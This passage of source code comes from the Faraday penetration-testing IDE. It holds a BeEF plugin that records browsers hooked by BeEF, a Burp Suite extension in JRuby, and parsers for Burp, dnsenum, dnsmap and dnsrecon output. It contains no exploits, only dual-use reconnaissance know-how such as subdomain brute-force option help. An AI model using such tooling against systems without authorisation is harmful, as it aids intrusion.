59 output being sent is valid.
60 """
61 try:
62 f = urllib2.urlopen(self.getSetting("Host") + "/api/hooks?token=" + self.getSetting("Authkey"))
63 data = json.loads(f.read())
64 except:
65 api.devlog ("[BeEF] - Connection with api")
66 return
67
68 if "hooked-browsers" in data:
69 for t in ["online","offline"]:
70 for h in data["hooked-browsers"][t]:
71 name=str(data["hooked-browsers"][t][h]['name'])
72 version=str(data["hooked-browsers"][t][h]['version'])
73 os=str(data["hooked-browsers"][t][h]['os'])
74 platform=str(data["hooked-browsers"][t][h]['platform'])
75 session=str(data["hooked-browsers"][t][h]['session'])
76 ip=str(data["hooked-browsers"][t][h]['ip'])
77 domain=str(data["hooked-browsers"][t][h]['domain'])
78 port=str(data["hooked-browsers"][t][h]['port'])
79 page_uri=str(data["hooked-browsers"][t][h]['page_uri'])
80
81 desc="Client ip:" + ip +" has been injected with BeEF using the url:"+page_uri+"\n"
82 desc+="More information:"
83 desc+="\ntype:"+t
84 desc+="\nname:"+name
85 desc+="\nversion:"+version
86 desc+="\nos:"+os
87 desc+="\nplatform:"+platform
88 desc+="\nsession:"+session
89 desc+="\nip:"+ip
90 desc+="\ndomain:"+domain
91 desc+="\nport:"+port
92 desc+="\npage_uri:"+page_uri
93
94 h_id = self.createAndAddHost(ip)
95 v_id = self.createAndAddVulnToHost(h_id,"BeEF injected "+t+" session:"+session,desc=desc,ref=["http://http://beefproject.com/"], severity=3)
96
97 def processCommandString(self, username, current_path, command_string):
98 return None
99
100
101 def setHost(self):
102 pass
103
104
105 def createPlugin():
106 return BeefPlugin()
107
108 if __name__ == '__main__':
109 parser = BeefXmlParser(sys.argv[1])
110 for item in parser.items:
111 if item.status == 'up':
112 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/ruby
1 ###
2 ## Faraday Penetration Test IDE - Community Version
3 ## Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 ## See the file 'doc/LICENSE' for the license information
5 ###
6 #__author__ = "Francisco Amato"
7 #__copyright__ = "Copyright (c) 2014, Infobyte LLC"
8 #__credits__ = ["Francisco Amato"]
9 #__version__ = "1.1.0"
10 #__maintainer__ = "Francisco Amato"
11 #__email__ = "[email protected]"
12 #__status__ = "Development"
13
14 require 'java'
15 require "xmlrpc/client"
16 require "pp"
17
18
19
20 #FARADAY CONF:
21 RPCSERVER="http://127.0.0.1:9876/"
22 IMPORTVULN=0 #1 if you like to import the current vulnerabilities, or 0 if you only want to import new vulns
23 PLUGINVERSION="Faraday v1.1 Ruby"
24 #Tested: Burp Professional v1.5.18
25
26 XMLRPC::Config.module_eval do
27 remove_const :ENABLE_NIL_PARSER
28 const_set :ENABLE_NIL_PARSER, true
29 end
30 java_import 'burp.IBurpExtender'
31 java_import 'burp.ITab'
32 java_import 'burp.IHttpListener'
33 java_import 'burp.IProxyListener'
34 java_import 'burp.IScannerListener'
35 java_import 'burp.IExtensionStateListener'
36 java_import 'burp.IExtensionHelpers'
37 java_import 'burp.IContextMenuFactory'
38 java_import 'java.net.InetAddress'
39 java_import 'javax.swing.JMenuItem'
40 java_import 'javax.swing.JCheckBox'
41 java_import 'javax.swing.JPanel'
42 java_import 'javax.swing.GroupLayout'
43
44 class BurpExtender
45 include IBurpExtender, IHttpListener, IProxyListener, IScannerListener, IExtensionStateListener,IContextMenuFactory, ITab
46
47 #
48 # implement IBurpExtender
49 #
50
51 def registerExtenderCallbacks(callbacks)
52
53 # keep a reference to our callbacks object
54 @callbacks = callbacks
55
56 #Connect Rpc server
57 @server = XMLRPC::Client.new2(RPCSERVER)
58 @helpers = callbacks.getHelpers()
59
60 # set our extension name
61 callbacks.setExtensionName(PLUGINVERSION)
62
63 @checkbox = javax.swing.JCheckBox.new("test")
64 @tab = javax.swing.JPanel.new()
65
66 @layout = javax.swing.GroupLayout.new(@tab)
67 @tab.setLayout(@layout)
68 @layout.setAutoCreateGaps(true)
69 @layout.setAutoCreateContainerGaps(true)
70 @layout.setHorizontalGroup(
71 @layout.createSequentialGroup()
72 .addGroup(@layout.createParallelGroup()
73 .addComponent(@checkbox)
74 )
75 )
76 @layout.setVerticalGroup(
77 @layout.createSequentialGroup()
78 .addGroup(@layout.createParallelGroup()
79 .addComponent(@checkbox)
80 )
81 )
82
83 callbacks.addSuiteTab(self)
84
85 # obtain our output stream
86 @stdout = java.io.PrintWriter.new(callbacks.getStdout(), true)
87
88 # Get current vulnerabilities
89 if IMPORTVULN == 1
90 param = @server.call("devlog", "[BURP] Importing issues")
91 callbacks.getScanIssues(nil).each do |issue|
92 newScanIssue(issue)
93 end
94 end
95
96 # Register a factory for custom context menu items
97 callbacks.registerContextMenuFactory(self)
98
99 # register ourselves as a Scanner listener
100 callbacks.registerScannerListener(self)
101
102 # register ourselves as an extension state listener
103 callbacks.registerExtensionStateListener(self)
104
105 end
106
107
108 #
109 # implement menu
110 #
111
112 # Create a menu item if the appropriate section of the UI is selected
113 def createMenuItems(invocation)
114
115 menu = []
116
117 # Which part of the interface the user selects
118 ctx = invocation.getInvocationContext()
119
120 # Sitemap history, Proxy History will show menu item if selected by the user
121 @stdout.println('Menu TYPE: %s\n' % ctx)
122 if ctx == 5 or ctx == 6 or ctx == 7
123
124 faradayMenu = JMenuItem.new("Send to Faraday", nil)
125
126 faradayMenu.addActionListener do |e|
127 eventScan(invocation, ctx)
128 end
129
130 menu.push(faradayMenu)
131 end
132
133 return menu
134 end
135
136 #
137 # event click function
138 #
139 def eventScan(invocation, ctx)
140
141 #invMessage = invocation.getSelectedIssues()
142
143 invMessage = invocation.getSelectedMessages()
144 invMessage.each do |m|
145 newScanIssue(m,ctx)
146 end
147 end
148
149 #
150 # implement IScannerListener
151 #
152 def newScanIssue(issue, ctx)
153
154 host=issue.getHost()
155 port=issue.getPort().to_s()
156 url = issue.getUrl()
157 ip=InetAddress.getByName(issue.getHttpService().getHost()).getHostAddress()
158
159 issuename="Analyzing: "
160 severity="Information"
161 desc="This request was manually sent using burp"
162
163 if ctx == 5 or ctx == 6 or ctx == 7
164 desc=issue.getIssueDetail().to_s
165 desc+="<br/>Resolution:" + issue.getIssueBackground().to_s
166 severity=issue.getSeverity().to_s
167 issuename=issue.getIssueName().to_s
168 end
169
170 @stdout.println("New scan issue host: " +host +",name:"+ issuename +",IP:" + ip)
171
172 begin
173 param = @server.call("devlog", "[BURP] New issue generation")
174
175 h_id = @server.call("createAndAddHost",ip, "unknown")
176 i_id = @server.call("createAndAddInterface",h_id, ip,"00:00:00:00:00:00", ip, "0.0.0.0", "0.0.0.0",[],
177 "0000:0000:0000:0000:0000:0000:0000:0000","00","0000:0000:0000:0000:0000:0000:0000:0000",
178 [],"",host)
179
180 s_id = @server.call("createAndAddServiceToInterface",h_id, i_id, issue.getProtocol(),"tcp",[port],"open")
181
182 #Save website
183 n_id = @server.call("createAndAddNoteToService",h_id,s_id,"website","")
184 n2_id = @server.call("createAndAddNoteToNote",h_id,s_id,n_id,host,"")
185
186 if ctx == 5 or ctx == 6 or ctx == 7
187 #@stdout.println(issue.methods)
188 req= @helpers.analyzeRequest(issue.getRequest())
189
190 #TODO: Actually Get all parameters, cookies, jason, url, maybe we should get only url,get/post parameters
191 #TODO: We don't send response because queue bug in faraday.
192 param=""
193 req.getParameters().each { |p| param += "%s" % p.getType() +":"+p.getName()+"="+p.getValue()+","}
194
195 issuename+= "("+issue.getUrl().getPath()[0,20]+")"
196 v_id = @server.call("createAndAddVulnWebToService",h_id, s_id, issuename,
197 desc,[],severity,host,issue.getUrl().to_s,issue.getRequest().to_s,
198 "response",req.getMethod().to_s,"",param,"","")
199 else
200 unless issue.getHttpMessages().nil? #issues with request #IHttpRequestResponse
201 @stdout.println("[**] issue host: " +host +",name:"+ issuename +",IP:" + ip)
202 c=0
203 issue.getHttpMessages().each do |m|
204 req= @helpers.analyzeRequest(m.getRequest())
205
206 #TODO: Actually Get all parameters, cookies, jason, url, maybe we should get only url,get/post parameters
207 param=""
208 req.getParameters().each { |p| param += "%s" % p.getType() +":"+p.getName()+"="+p.getValue()+","}
209
210 v_id = @server.call("createAndAddVulnWebToService",h_id, s_id, issuename,
211 desc,[],severity,host,m.getUrl().to_s,m.getRequest().to_s,
212 "response",req.getMethod().to_s,"",param,"","")
213 c=c+1
214 end
215 if c==0
216 v_id = @server.call("createAndAddVulnWebToService",h_id, s_id, issuename.to_s,
217 desc,[],severity,host,issue.getUrl().to_s,"",
218 "response","","","/","","")
219
220 end
221 end
222 end
223
224 rescue XMLRPC::FaultException => e
225 puts "-----\nError:"
226 puts e.faultCode
227 puts e.faultString
228 end
229 end
230
231 def extensionUnloaded()
232
233 end
234
235 def getTabCaption()
236 return "Faraday"
237 end
238
239 def getUiComponent()
240 return @tab
241 end
242
243 end
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class BurpXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the burp tool.
45
46 TODO: Handle errors.
47 TODO: Test burp output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param burp_xml_filepath A proper xml generated by burp
51 """
52 def __init__(self, xml_output):
53 self.target = None
54 self.port = "80"
55 self.host = None
56
57 tree = self.parse_xml(xml_output)
58 if tree:
59 self.items = [data for data in self.get_items(tree)]
60 else:
61 self.items = []
62
63
64 def parse_xml(self, xml_output):
65 """
66 Open and parse an xml file.
67
68 TODO: Write custom parser to just read the nodes that we need instead of
69 reading the whole file.
70
71 @return xml_tree An xml tree instance. None if error.
72 """
73 try:
74 tree = ET.fromstring(xml_output)
75 except SyntaxError, err:
76 print "SyntaxError: %s. %s" % (err, xml_output)
77 return None
78
79 return tree
80
81 def get_items(self, tree):
82 """
83 @return items A list of Host instances
84 """
85 bugtype=""
86
87 for node in tree.findall('issue'):
88 yield Item(node)
89
90
91
92 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
93 """
94 Finds a subnode in the item node and the retrieves a value from it
95
96 @return An attribute value
97 """
98 global ETREE_VERSION
99 node = None
100
101 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
102
103 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
104 if match_obj is not None:
105 node_to_find = match_obj.group(1)
106 xpath_attrib = match_obj.group(2)
107 xpath_value = match_obj.group(3)
108 for node_found in xml_node.findall(node_to_find):
109 if node_found.attrib[xpath_attrib] == xpath_value:
110 node = node_found
111 break
112 else:
113 node = xml_node.find(subnode_xpath_expr)
114
115 else:
116 node = xml_node.find(subnode_xpath_expr)
117
118 if node is not None:
119 return node.get(attrib_name)
120
121 return None
122
123
124
125
126
127 class Item(object):
128 """
129 An abstract representation of a Item
130
131
132 @param item_node A item_node taken from an burp xml tree
133 """
134 def __init__(self, item_node):
135 self.node = item_node
136
137 name = item_node.findall('name')[0]
138 host_node = item_node.findall('host')[0]
139 path = item_node.findall('path')[0]
140 location = item_node.findall('location')[0]
141 severity = item_node.findall('severity')[0]
142 request = item_node.findall('./requestresponse/request')[0].text if len(item_node.findall('./requestresponse/request')) >0 else ""
143 response = item_node.findall('./requestresponse/response')[0].text if len(item_node.findall('./requestresponse/response')) > 0 else ""
144
145 detail = self.do_clean(item_node.findall('issueDetail'))
146 remediation = self.do_clean(item_node.findall('remediationBackground'))
147
148 self.url=host_node.text
149 rhost = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", self.url)
150 self.protocol = rhost.group(1)
151 self.host = rhost.group(4)
152
153 self.port=80
154 if self.protocol == 'https':
155 self.port=443
156
157 if rhost.group(11) is not None:
158 self.port = rhost.group(11)
159
160 self.name = name.text
161 self.location = location.text
162 self.path = path.text
163
164 self.ip = host_node.get('ip')
165 self.url = self.node.get('url')
166 self.severity = severity.text
167 self.request = request
168 self.response = response
169 self.detail = detail
170 self.remediation = remediation
171
172
173 def do_clean(self,value):
174 myreturn =""
175 if value is not None:
176 if len(value) > 0:
177 myreturn = value[0].text
178 return myreturn
179
180 def get_text_from_subnode(self, subnode_xpath_expr):
181 """
182 Finds a subnode in the host node and the retrieves a value from it.
183
184 @return An attribute value
185 """
186 sub_node = self.node.find(subnode_xpath_expr)
187 if sub_node is not None:
188 return sub_node.text
189
190 return None
191
192
193
194 class BurpPlugin(core.PluginBase):
195 """
196 Example plugin to parse burp output.
197 """
198 def __init__(self):
199 core.PluginBase.__init__(self)
200 self.id = "Burp"
201 self.name = "Burp XML Output Plugin"
202 self.plugin_version = "0.0.2"
203 self.version = "1.6.05 BurpPro"
204 self.framework_version = "1.0.0"
205 self.options = None
206 self._current_output = None
207 self.target = None
208 self._command_regex = re.compile(r'^(sudo burp|\.\/burp).*?')
209
210 global current_path
211 self._output_file_path = os.path.join(self.data_path,
212 "burp_output-%s.xml" % self._rid)
213
214
215 def parseOutputString(self, output, debug = False):
216
217 parser = BurpXmlParser(output)
218 for item in parser.items:
219
220 h_id = self.createAndAddHost(item.ip)
221 i_id = self.createAndAddInterface(h_id, item.ip,ipv4_address=item.ip, hostname_resolution=item.host)
222 s_id = self.createAndAddServiceToInterface(h_id, i_id, item.protocol,
223 "tcp",
224 ports = [str(item.port)],
225 status = "open")
226
227
228 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
229 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,item.host,"")
230
231
232 item.response=""
233 desc=item.detail
234 desc+="\nSolution: "+item.remediation if item.remediation else ""
235
236 v_id = self.createAndAddVulnWebToService(h_id, s_id, item.name,
237 desc=desc,severity=item.severity,website=item.host,
238 path=item.path,request=item.request,response=item.response)
239
240 del parser
241
242 def processCommandString(self, username, current_path, command_string):
243 return None
244
245
246 def setHost(self):
247 pass
248
249
250 def createPlugin():
251 return BurpPlugin()
252
253 if __name__ == '__main__':
254 parser = BurpXmlParser(sys.argv[1])
255 for item in parser.items:
256 if item.status == 'up':
257 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class DnsenumXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the dnsenum tool.
45
46 TODO: Handle errors.
47 TODO: Test dnsenum output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param dnsenum_xml_filepath A proper xml generated by dnsenum
51 """
52 def __init__(self, xml_output):
53 tree = self.parse_xml(xml_output)
54
55 if tree:
56 self.items = [data for data in self.get_items(tree)]
57 else:
58 self.items = []
59
60
61 def parse_xml(self, xml_output):
62 """
63 Open and parse an xml file.
64
65 TODO: Write custom parser to just read the nodes that we need instead of
66 reading the whole file.
67
68 @return xml_tree An xml tree instance. None if error.
69 """
70 try:
71 tree = ET.fromstring(xml_output)
72 except SyntaxError, err:
73 print "SyntaxError: %s. %s" % (err, xml_output)
74 return None
75
76 return tree
77
78 def get_items(self, tree):
79 """
80 @return items A list of Host instances
81 """
82 bugtype=""
83
84 node = tree.findall('testdata')[0]
85 for hostnode in node.findall('host'):
86 yield Item(hostnode)
87
88
89
90 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
91 """
92 Finds a subnode in the item node and the retrieves a value from it
93
94 @return An attribute value
95 """
96 global ETREE_VERSION
97 node = None
98
99 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
100
101 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
102 if match_obj is not None:
103 node_to_find = match_obj.group(1)
104 xpath_attrib = match_obj.group(2)
105 xpath_value = match_obj.group(3)
106 for node_found in xml_node.findall(node_to_find):
107 if node_found.attrib[xpath_attrib] == xpath_value:
108 node = node_found
109 break
110 else:
111 node = xml_node.find(subnode_xpath_expr)
112
113 else:
114 node = xml_node.find(subnode_xpath_expr)
115
116 if node is not None:
117 return node.get(attrib_name)
118
119 return None
120
121
122
123
124
125 class Item(object):
126 """
127 An abstract representation of a Item
128
129 TODO: Consider evaluating the attributes lazily
130 TODO: Write what's expected to be present in the nodes
131 TODO: Refactor both Host and the Port clases?
132
133 @param item_node A item_node taken from an dnsenum xml tree
134 """
135 def __init__(self, item_node):
136 self.node = item_node
137
138 self.hostname = self.get_text_from_subnode('hostname')
139 self.ip = self.node.text
140
141
142
143 def do_clean(self,value):
144 myreturn =""
145 if value is not None:
146 myreturn = re.sub("\n","",value)
147 return myreturn
148
149 def get_text_from_subnode(self, subnode_xpath_expr):
150 """
151 Finds a subnode in the host node and the retrieves a value from it.
152
153 @return An attribute value
154 """
155 sub_node = self.node.find(subnode_xpath_expr)
156 if sub_node is not None:
157 return sub_node.text
158
159 return None
160
161
162
163 class DnsenumPlugin(core.PluginBase):
164 """
165 Example plugin to parse dnsenum output.
166 """
167 def __init__(self):
168 core.PluginBase.__init__(self)
169 self.id = "Dnsenum"
170 self.name = "Dnsenum XML Output Plugin"
171 self.plugin_version = "0.0.1"
172 self.version = "1.2.2"
173 self.options = None
174 self._current_output = None
175 self._command_regex = re.compile(r'^(sudo dnsenum|dnsenum|sudo dnsenum\.pl|dnsenum\.pl|perl dnsenum\.pl|\.\/dnsenum\.pl).*?')
176 self._completition = {
177 "":"Usage: dnsenum.pl [Options] &lt;domain&gt;",
178 "--dnsserver":"&lt;server&gt;",
179 "--enum":"Shortcut option equivalent to --threads 5 -s 20 -w.",
180 "-h":"Print this help message.",
181 "--help":"Print this help message.",
182 "--noreverse":"Skip the reverse lookup operations.",
183 "--private":"Show and save private ips at the end of the file domain_ips.txt.",
184 "--subfile":"&lt;file&gt; Write all valid subdomains to this file.",
185 "-t":"&lt;value&gt; The tcp and udp timeout values in seconds (default: 10s).",
186 "--timeout":"&lt;value&gt; The tcp and udp timeout values in seconds (default: 10s).",
187 "--threads":"&lt;value&gt; The number of threads that will perform different queries.",
188 "-v":"Be verbose: show all the progress and all the error messages.",
189 "--verbose":"Be verbose: show all the progress and all the error messages.",
190 "-p":"&lt;value&gt; The number of google search pages to process when scraping names, ",
191 "--pages":"&lt;value&gt; The number of google search pages to process when scraping names the default is 20 pages, the -s switch must be specified.",
192 "-s":" -s, --scrap &lt;value&gt; The maximum number of subdomains that will be scraped from Google.",
193 "--scrap":" -s, --scrap &lt;value&gt; The maximum number of subdomains that will be scraped from Google.",
194 "-f":"&lt;file&gt; Read subdomains from this file to perform brute force.",
195 "--file":"&lt;file&gt; Read subdomains from this file to perform brute force.",
196 "-u":"&lt;a|g|r|z&gt; Update the file specified with the -f switch with valid subdomains.",
197 "--update":"&lt;a|g|r|z&gt; Update the file specified with the -f switch with valid subdomains.",
198 "-r":"Recursion on subdomains, brute force all discovred subdomains that have an NS record.",
199 "--recursion":"Recursion on subdomains, brute force all discovred subdomains that have an NS record.",
200 "-d":"The maximum value of seconds to wait between whois queries, the value is defined randomly, default: 3s.",
201 "--delay":"The maximum value of seconds to wait between whois queries, the value is defined randomly, default: 3s.",
202 "-w":"Perform the whois queries on c class network ranges.",
203 "--whois":"Perform the whois queries on c class network ranges.",
204 "-e":"&lt;regexp&gt;",
205 "--exclude":"&lt;regexp&gt;",
206 "-o":"&lt;file&gt; Output in XML format. Can be imported in MagicTree (www.gremwell.com)",
207 "--output":"&lt;file&gt; Output in XML format. Can be imported in MagicTree (www.gremwell.com)",
208 }
209
210 global current_path
211 self._output_file_path = os.path.join(self.data_path,
212 "dnsenum_output-%s.xml" % self._rid)
213
214
215 def parseOutputString(self, output, debug = False):
216 """
217 This method will discard the output the shell sends, it will read it from
218 the xml where it expects it to be present.
219
220 NOTE: if 'debug' is true then it is being run from a test case and the
221 output being sent is valid.
222 """
223
224 parser = DnsenumXmlParser(output)
225
226 for item in parser.items:
227 h_id = self.createAndAddHost(item.ip)
228 i_id = self.createAndAddInterface(h_id, item.ip,ipv4_address=item.ip,hostname_resolution=item.hostname)
229
230 del parser
231
232 xml_arg_re = re.compile(r"^.*(-o\s*[^\s]+).*$")
233
234 def processCommandString(self, username, current_path, command_string):
235 """
236 Adds the -oX parameter to get xml output to the command string that the
237 user has set.
238 """
239
240 arg_match = self.xml_arg_re.match(command_string)
241
242 if arg_match is None:
243 return re.sub(r"(^.*?dnsenum(\.pl)?)",r"\1 -o %s" % self._output_file_path,command_string)
244 else:
245 return re.sub(arg_match.group(1),
246 r"-o %s" % self._output_file_path,
247 command_string)
248
249
250
251 def setHost(self):
252 pass
253
254
255 def createPlugin():
256 return DnsenumPlugin()
257
258 if __name__ == '__main__':
259 parser = DnsenumXmlParser(sys.argv[1])
260 for item in parser.items:
261 if item.status == 'up':
262 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 import re
12 import os
13 import sys
14
15
16 current_path = os.path.abspath(os.getcwd())
17
18 __author__ = "Francisco Amato"
19 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
20 __credits__ = ["Francisco Amato"]
21 __license__ = ""
22 __version__ = "1.0.0"
23 __maintainer__ = "Francisco Amato"
24 __email__ = "[email protected]"
25 __status__ = "Development"
26
27
28
29
30
31 class DnsmapParser(object):
32 """
33 The objective of this class is to parse an xml file generated by the dnsmap tool.
34
35 TODO: Handle errors.
36 TODO: Test dnsmap output version. Handle what happens if the parser doesn't support it.
37 TODO: Test cases.
38
39 @param dnsmap_filepath A proper simple report generated by dnsmap
40 """
41 def __init__(self, output):
42
43 self.items = []
44 lists = output.split("\n")
45
46 for line in lists:
47 mitem = line.split(',')
48 if mitem.__len__() > 1:
49 item = {'host': mitem[0], 'ip': mitem[1]}
50 self.items.append(item)
51
52
53 class DnsmapPlugin(core.PluginBase):
54 """
55 Example plugin to parse dnsmap output.
56 """
57 def __init__(self):
58 core.PluginBase.__init__(self)
59 self.id = "Dnsmap"
60 self.name = "Dnsmap XML Output Plugin"
61 self.plugin_version = "0.0.1"
62 self.version = "0.30"
63 self._completition = {
64 "":"dnsmap &lt;target-domain&gt; [options]",
65 "-w":"-w &lt;wordlist-file&gt;",
66 "-r":"-r &lt;regular-results-file&gt;",
67 "-c":"-c &lt;csv-results-file&gt;",
68 "-d":"-d &lt;delay-millisecs&gt;",
69 "-i":"-i &lt;ips-to-ignore&gt; (useful if you're obtaining false positives)",
70 }
71
72 self.options = None
73 self._current_output = None
74 self.current_path = None
75 self._command_regex = re.compile(r'^(sudo dnsmap|dnsmap|\.\/dnsmap).*?')
76
77 global current_path
78 self._output_file_path = os.path.join(self.data_path, "dnsmap_output-%s.txt" % self._rid)
79
80 def canParseCommandString(self, current_input):
81 if self._command_regex.match(current_input.strip()):
82 return True
83 else:
84 return False
85
86 def parseOutputString(self, output, debug=False):
87 """
88 This method will discard the output the shell sends, it will read it from
89 the xml where it expects it to be present.
90
91 NOTE: if 'debug' is true then it is being run from a test case and the
92 output being sent is valid.
93 """
94
95 if debug:
96 parser = DnsmapParser(self._output_file_path)
97 else:
98
99 if not os.path.exists(self._output_file_path):
100 return False
101
102 parser = DnsmapParser(self._output_file_path)
103
104 for item in parser.items:
105 h_id = self.createAndAddHost(item['ip'])
106 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address=item['ip'],hostname_resolution=item['host'])
107
108
109 del parser
110
111 if not debug:
112 os.remove(self._output_file_path)
113 return True
114
115 xml_arg_re = re.compile(r"^.*(-c\s*[^\s]+).*$")
116
117 def processCommandString(self, username, current_path, command_string):
118 """
119 Adds the parameter to get output to the command string that the
120 user has set.
121 """
122
123 arg_match = self.xml_arg_re.match(command_string)
124
125 if arg_match is None:
126 return "%s -c %s \n" % (command_string, self._output_file_path)
127 else:
128 return re.sub(arg_match.group(1),
129 r"-c %s" % self._output_file_path,
130 command_string)
131
132
133 def createPlugin():
134 return DnsmapPlugin()
135
136 if __name__ == '__main__':
137 parser = DnsmapParser(sys.argv[1])
138 for item in parser.items:
139 if item.status == 'up':
140 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class DnsreconXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the dnsrecon tool.
45
46 TODO: Handle errors.
47 TODO: Test dnsrecon output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param dnsrecon_xml_filepath A proper xml generated by dnsrecon
51 """
52 def __init__(self, xml_output):
53
54 tree = self.parse_xml(xml_output)
55
56 if tree:
57 self.hosts = [host for host in self.get_hosts(tree)]
58 else:
59 self.hosts = []
60
61
62 def parse_xml(self, xml_output):
63 """
64 Open and parse an xml file.
65
66 TODO: Write custom parser to just read the nodes that we need instead of
67 reading the whole file.
68
69 @return xml_tree An xml tree instance. None if error.
70 """
71 try:
72 tree = ET.fromstring(xml_output)
73 except SyntaxError, err:
74 print "SyntaxError: %s. %s" % (err, xml_output)
75 return None
76
77 return tree
78
79 def get_hosts(self, tree):
80 """
81 @return items A list of Host instances
82 """
83 for item_node in tree.findall('record'):
84 yield Item(item_node)
85
86
87
88
89 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
90 """
91 Finds a subnode in the item node and the retrieves a value from it
92
93 @return An attribute value
94 """
95 global ETREE_VERSION
96 node = None
97
98 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
99
100 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
101 if match_obj is not None:
